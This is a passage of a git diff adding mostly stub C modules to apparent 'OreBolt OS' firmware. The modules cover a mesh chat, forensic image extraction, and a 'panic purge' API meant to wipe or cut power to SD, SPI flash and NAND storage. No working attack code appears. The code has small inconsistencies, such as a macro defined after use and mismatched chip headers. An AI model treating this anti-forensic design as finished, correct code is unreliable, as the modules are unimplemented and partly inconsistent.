lv_label_set_text(bitchat_log_label, + "bitchat mesh v" STRINGIFY(BITCHAT_PROTOCOL_VERSION) "\n" + "License: " BITCHAT_LICENSE_STRING "\n" + "Source: " BITCHAT_SOURCE_URL "\n" + "(idle)"); + lv_obj_set_width(bitchat_log_label, H2_LCD_WIDTH - 16); + lv_label_set_long_mode(bitchat_log_label, LV_LABEL_LONG_WRAP); + + LOG_INF("bitchat init: protocol=%d license=%s", + BITCHAT_PROTOCOL_VERSION, BITCHAT_LICENSE_STRING); + + /* Advertise source URL on first mesh hello. */ + uint8_t buf[256]; + size_t n = bitchat_build_license_msg(buf, sizeof(buf)); + if (n > 0) { + /* TODO: mod_radio_input_multiplex_send(buf, n); */ + LOG_DBG("queued license-advertisement msg (%zu bytes)", n); + } +} + +void bitchat_deinit(void) +{ + if (bitchat_screen) { + lv_obj_del(bitchat_screen); + bitchat_screen = NULL; + bitchat_log_label = NULL; + } + LOG_INF("bitchat deinit"); +} + +/* Helper macro for the version string in the UI label. */ +#define STRINGIFY_(x) #x +#define STRINGIFY(x) STRINGIFY_(x) + +#else /* !AGPL_BITCHAT */ +# error "mod_bitchat_mesh.c must be compiled with -DAGPL_BITCHAT (see Makefile.orebolt-v1.5). \ + This guard prevents accidental compilation under a different license." +#endif /* AGPL_BITCHAT */ diff --git a/src/modules/mod_core_hid.c b/src/modules/mod_core_hid.c new file mode 100755 index 0000000..4350ada --- /dev/null +++ b/src/modules/mod_core_hid.c @@ -0,0 +1,17 @@ +/* + * mod_core_hid.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Core HID descriptor table shared by pauto and retro modules. + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_core_hid_init(void) { LOG_INF("mod_core_hid init (stub)"); return 0; } +int mod_core_hid_deinit(void) { LOG_INF("mod_core_hid deinit (stub)"); return 0; } diff --git a/src/modules/mod_forensics.c b/src/modules/mod_forensics.c new file mode 100755 index 0000000..4e243a6 --- /dev/null +++ b/src/modules/mod_forensics.c @@ -0,0 +1,17 @@ +/* + * mod_forensics.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Forensic extraction engine -- dispatches .dd payloads by OS profile. + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_forensics_init(void) { LOG_INF("mod_forensics init (stub)"); return 0; } +int mod_forensics_deinit(void) { LOG_INF("mod_forensics deinit (stub)"); return 0; } diff --git a/src/modules/mod_panic_hardware_purge.c b/src/modules/mod_panic_hardware_purge.c new file mode 100755 index 0000000..f337f49 --- /dev/null +++ b/src/modules/mod_panic_hardware_purge.c @@ -0,0 +1,17 @@ +/* + * mod_panic_hardware_purge.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Hardware panic purge: cuts SD/SPI/NAND power via X1000E GPIO. + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_panic_hardware_purge_init(void) { LOG_INF("mod_panic_hardware_purge init (stub)"); return 0; } +int mod_panic_hardware_purge_deinit(void) { LOG_INF("mod_panic_hardware_purge deinit (stub)"); return 0; } diff --git a/src/modules/mod_panic_purge.c b/src/modules/mod_panic_purge.c new file mode 100755 index 0000000..b11fa89 --- /dev/null +++ b/src/modules/mod_panic_purge.c @@ -0,0 +1,17 @@ +/* + * mod_panic_purge.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Software panic purge: zeroes volatile state before hardware purge. + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_panic_purge_init(void) { LOG_INF("mod_panic_purge init (stub)"); return 0; } +int mod_panic_purge_deinit(void) { LOG_INF("mod_panic_purge deinit (stub)"); return 0; } diff --git a/src/modules/mod_radio_input_multiplex.c b/src/modules/mod_radio_input_multiplex.c new file mode 100755 index 0000000..f6ce79a --- /dev/null +++ b/src/modules/mod_radio_input_multiplex.c @@ -0,0 +1,17 @@ +/* + * mod_radio_input_multiplex.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Radio input multiplexer (BLE + LoRa + 433MHz) for bitchat transport. + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_radio_input_multiplex_init(void) { LOG_INF("mod_radio_input_multiplex init (stub)"); return 0; } +int mod_radio_input_multiplex_deinit(void) { LOG_INF("mod_radio_input_multiplex deinit (stub)"); return 0; } diff --git a/src/modules/mod_ui_frame_graphics.c b/src/modules/mod_ui_frame_graphics.c new file mode 100755 index 0000000..8abf205 --- /dev/null +++ b/src/modules/mod_ui_frame_graphics.c @@ -0,0 +1,17 @@ +/* + * mod_ui_frame_graphics.c -- OreBolt OS hardware library module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * LVGL frame graphics primitives (RGB565 blitters, double-buffer). + * + * GPIO register access goes through the FiiO M3K GPL kernel + * headers at $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/. + * See HEADERS.md section 2. + */ +#include +#include "panic_purge_api.h" +#include "log_manager.h" + +int mod_ui_frame_graphics_init(void) { LOG_INF("mod_ui_frame_graphics init (stub)"); return 0; } +int mod_ui_frame_graphics_deinit(void) { LOG_INF("mod_ui_frame_graphics deinit (stub)"); return 0; } diff --git a/src/modules/panic_purge_api.h b/src/modules/panic_purge_api.h new file mode 100755 index 0000000..bf3a50f --- /dev/null +++ b/src/modules/panic_purge_api.h @@ -0,0 +1,43 @@ +/* + * panic_purge_api.h -- OreBolt OS hardware panic purge API + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * When HARDWARE_GPIO=1, mod_panic_hardware_purge.c drives the Ingenic X1000E + * GPIO lines that physically cut power to the SD card slot and short the + * SPI flash WP pin. When HARDWARE_GPIO=0 (host dev), the same calls fall + * through to safe stubs that only log. + * + * GPIO register definitions sourced from + * $(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760/jz4760.h + * (the FiiO M3K GPL kernel tree). See HEADERS.md §2. + */ +#ifndef PANIC_PURGE_API_H +#define PANIC_PURGE_API_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + PURGE_TARGET_SD = 1 << 0, + PURGE_TARGET_SPI_FLASH= 1 << 1, + PURGE_TARGET_NAND = 1 << 2, + PURGE_TARGET_RAM = 1 << 3, + PURGE_TARGET_ALL = 0xFF +} purge_target_t; + +/* Trigger a hardware purge. Returns 0 on success, -errno on failure. + * When HARDWARE_GPIO=0 this only logs and returns 0. */ +int panic_purge_trigger(uint32_t targets); + +/* Arm/disarm the panic-purge GPIO watchdog. */ +int panic_purge_arm(uint32_t timeout_ms); +int panic_purge_disarm(void); + +#ifdef __cplusplus +} +#endif +#endif /* PANIC_PURGE_API_H */